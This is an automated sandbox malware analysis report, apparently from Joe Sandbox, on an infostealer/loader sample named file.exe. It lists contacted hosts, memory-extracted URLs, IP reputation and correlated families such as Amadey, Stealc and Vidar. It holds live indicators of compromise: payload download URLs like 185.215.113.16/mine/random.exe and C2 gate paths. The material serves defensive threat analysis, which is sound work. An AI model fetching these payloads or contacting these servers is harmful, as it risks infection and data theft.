https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732604633591&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://sb.scorecardresearch.com/b?rn=1732604626696&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2A1C8E46DA6B6D3B073F9B05DB6A6C89&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732604633477&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1654149125.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, JDGIIDHJ.0.dr, Web Data.10.dr, HDGDGHCA.0.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1654149125.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, JDGIIDHJ.0.dr, Web Data.10.dr, HDGDGHCA.0.dr	false		high
http://www.broofa.com	chromecache_470.5.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
https://ntp.msn.com/0	000003.log9.10.dr	false		high
https://ntp.msn.com/_default	QuotaManager.10.dr	false		high
https://www.last.fm/	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	Reporting and NEL.11.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.10.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://docs.google.com/	manifest.json.10.dr	false		high
https://www.youtube.com	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
http://31.41.244.11/	skotes.exe, 0000001D.00000002.2691330052.0000000001458000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exeem32	skotes.exe, 0000001D.00000002.2691330052.000000000141B000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.instagram.com	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
http://31.41.244.11/files/random.exeft	skotes.exe, 0000001D.00000002.2691330052.0000000001458000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/	manifest.json.10.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
https://www.messenger.com	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
http://31.41.244.11/files/random.exe131d	skotes.exe, 0000001D.00000002.2691330052.0000000001470000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.office.com/mail/compose?isExtension=true	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://i.y.qq.com/n2/m/index.html	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
https://www.deezer.com/	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
https://web.telegram.org/	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
http://185.215.113.16/mine/random.exe~	file.exe, 00000000.00000002.1979771130.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false	17%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2009260275.000000006CACD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpb8E	file.exe, 00000000.00000002.2004624121.0000000023556000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json.10.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l	EHCFBFBAEBKJKEBGCAEHCFCBAE.0.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json.10.dr	false		high
https://vibe.naver.com/today	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1654149125.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, JDGIIDHJ.0.dr, Web Data.10.dr, HDGDGHCA.0.dr	false		high
https://msn.comXIDv106a	Cookies.11.dr	false	Avira URL Cloud: safe	unknown
https://assets.msn.com	9e16ee97-2942-471e-b276-eb0ab7cad98b.tmp.11.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.	file.exe, 00000000.00000002.2004624121.0000000023543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1979771130.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, IIEBGIDAAFHIJJJJEGCG.0.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1654149125.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, JDGIIDHJ.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json.10.dr	false		high
https://excel.new?from=EdgeM365Shoreline	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EHCFBFBAEBKJKEBGCAEHCFCBAE.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json.10.dr	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_470.5.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.11.dr	false		high
http://31.41.244.11/215.113.43/Zu7JuNko/index.php	skotes.exe, 0000001D.00000002.2691330052.0000000001458000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/chrome	content.js.10.dr, content_new.js.10.dr	false		high
https://www.tiktok.com/	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
http://31.41.244.11/files/random.exej.	skotes.exe, 0000001D.00000002.2691330052.0000000001458000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.10.dr	false		high
https://chromewebstore.google.com/	manifest.json0.10.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.2004624121.0000000023543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1979771130.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, IIEBGIDAAFHIJJJJEGCG.0.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json.10.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.10.dr	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
http://31.41.244.11/files/random.exe	skotes.exe, 0000001D.00000002.2691330052.000000000141B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001D.00000002.2691330052.0000000001470000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001D.00000002.2691330052.0000000001458000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
https://chrome.google.com/webstore/	manifest.json0.10.dr	false		high
https://y.music.163.com/m/	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://bard.google.com/	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpoST	skotes.exe, 0000001D.00000002.2691330052.0000000001458000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://web.whatsapp.com	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
https://m.kugou.com/	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
http://31.41.244.11/files/random.exe50623oded	skotes.exe, 0000001D.00000002.2691330052.0000000001470000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.office.com	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
https://outlook.live.com/mail/0/	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
http://31.41.244.11/32	skotes.exe, 0000001D.00000002.2691330052.0000000001458000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpf	file.exe, 00000000.00000002.1979771130.0000000000F71000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp	000003.log9.10.dr, 2cc80dabc69f58b6_1.10.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1654149125.0000000000FD9000.00000004.00000020.00020000.00000000.sdmp, JDGIIDHJ.0.dr, Web Data.10.dr, HDGDGHCA.0.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi	IIEBGIDAAFHIJJJJEGCG.0.dr	false		high
https://tidal.com/	b54cb776-8bb9-401b-8fdc-24e9d043f475.tmp.10.dr	false		high
https://ntp.msn.com	000003.log3.10.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.165.220.106	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
23.200.3.19	unknown	United States	20940	AKAMAI-ASN1EU	false
20.189.173.17	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
108.139.47.92	unknown	United States	16509	AMAZON-02US	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.40.82.182	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
13.107.9.158	b-0005.b-dc-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.201.5	unknown	United States	20940	AKAMAI-ASN1EU	false
23.44.201.4	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.209.72.21	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.181.97	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
204.79.197.203	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.8
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562859
Start date and time:	2024-11-26 08:02:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@71/302@24/28
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 172.217.17.46, 74.125.205.84, 23.32.238.208, 34.104.35.123, 199.232.210.172, 142.250.181.99, 172.217.17.74, 142.250.181.106, 142.250.181.138, 172.217.17.42, 172.217.19.234, 172.217.21.42, 172.217.19.202, 13.107.42.16, 131.253.33.203, 204.79.197.239, 13.107.21.239, 172.217.19.238, 172.165.69.228, 23.32.238.195, 23.32.238.176, 2.16.158.235, 2.16.158.227, 104.116.245.91, 2.16.158.232, 2.16.158.241, 104.116.245.115, 2.16.158.242, 104.116.245.122, 2.16.158.234, 104.116.245.80, 104.116.245.83, 104.116.245.82, 23.32.238.200, 23.32.238.202, 23.32.238.210, 23.32.238.241, 23.32.238.168, 23.207.210.152, 23.207.210.156, 23.207.210.153, 23.207.210.154, 23.207.210.136, 23.207.210.137, 23.207.210.148, 104.116.245.66, 104.116.245.67, 104.116.245.64, 13.107.22.237, 131.253.33.237, 13.74.129.1, 192.229.221.95, 199.232.214.172, 142.250.176.195, 142.251.40.195, 142.251.40.163, 142.251.40.99, 142.251.41.3, 142.250.80.3
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, dual-a-0034.dc-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-m
Execution Graph export aborted for target DocumentsGCBKFBFCGI.exe, PID 8040 because it is empty
Execution Graph export aborted for target skotes.exe, PID 8920 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:03:38	API Interceptor	172x Sleep call for process: file.exe modified
02:05:01	API Interceptor	111x Sleep call for process: skotes.exe modified
08:04:02	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, DarkTortilla, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	uniswap-sniper-bot-with-gui Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	uniswap-sniper-bot-with-gui Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	0Xp3q1l7De.exe	Get hash	malicious	Remcos	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	3.160.188.18
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	3.160.188.18
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	0Xp3q1l7De.exe	Get hash	malicious	Remcos	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, DarkTortilla, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.101.168.44
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.75.60.91
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	FW Expiration Pending Support Care HIPAA Acknowledgement Form 2024.eml	Get hash	malicious	Unknown	Browse	52.109.76.243
	https://app.useblocks.io/getemail/48034?secret_hash=d1541dc5be135b2d0f39c0711cecbe46&raw=true	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	51.104.15.253
	https://docs.google.com/drawings/d/1rnJTD83ySW2kuilnF4J1ffAp0B5BM7BM0Nvi8F8BbSI/preview?pli=1HeatherMitchell-andrew.tokar@overlakehospital.org	Get hash	malicious	HTMLPhisher	Browse	52.98.61.50
	fbot.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	13.107.240.53
	fbot.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	13.80.175.232
MIT-GATEWAYSUS	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	18.173.132.116
	kkEzK284oT.exe	Get hash	malicious	HTMLPhisher	Browse	18.66.153.60
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	fbot.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	19.244.187.11
	fbot.ppc.elf	Get hash	malicious	Mirai, Moobot	Browse	19.218.96.169
	fbot.sh4.elf	Get hash	malicious	Mirai, Moobot	Browse	19.251.105.174
	fbot.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	18.92.224.186
	Invoice-99007553423-protected.pdf	Get hash	malicious	Unknown	Browse	18.173.205.79
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.164.116.57

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	Finish_Agreement_DocuSign.pdf	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 40.126.53.17 69.192.160.109
	http://www.btc1yby.blogspot.rs/	Get hash	malicious	GRQ Scam	Browse	20.109.210.53 13.107.246.63 40.126.53.17 69.192.160.109
	http://awumnf.com	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 40.126.53.17 69.192.160.109
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	20.109.210.53 13.107.246.63 40.126.53.17 69.192.160.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63 40.126.53.17 69.192.160.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.109.210.53 13.107.246.63 40.126.53.17 69.192.160.109
	file.exe	Get hash	malicious	Cryptbot	Browse	20.109.210.53 13.107.246.63 40.126.53.17 69.192.160.109
	https://cp-wb-pe-2-ujft-9-kslojlj-5-gdr-3-cwge-5-h5-posg-3.vercel.app/?web=minjeong.cho@hyundaimovex.com	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 40.126.53.17 69.192.160.109
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.109.210.53 13.107.246.63 40.126.53.17 69.192.160.109
	http://nxsnsstwhbaf.apexhallechuca.com.au/?userid=bHN3ZXN0LXN5c0BudHRscy5jby5qcA==	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 40.126.53.17 69.192.160.109

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
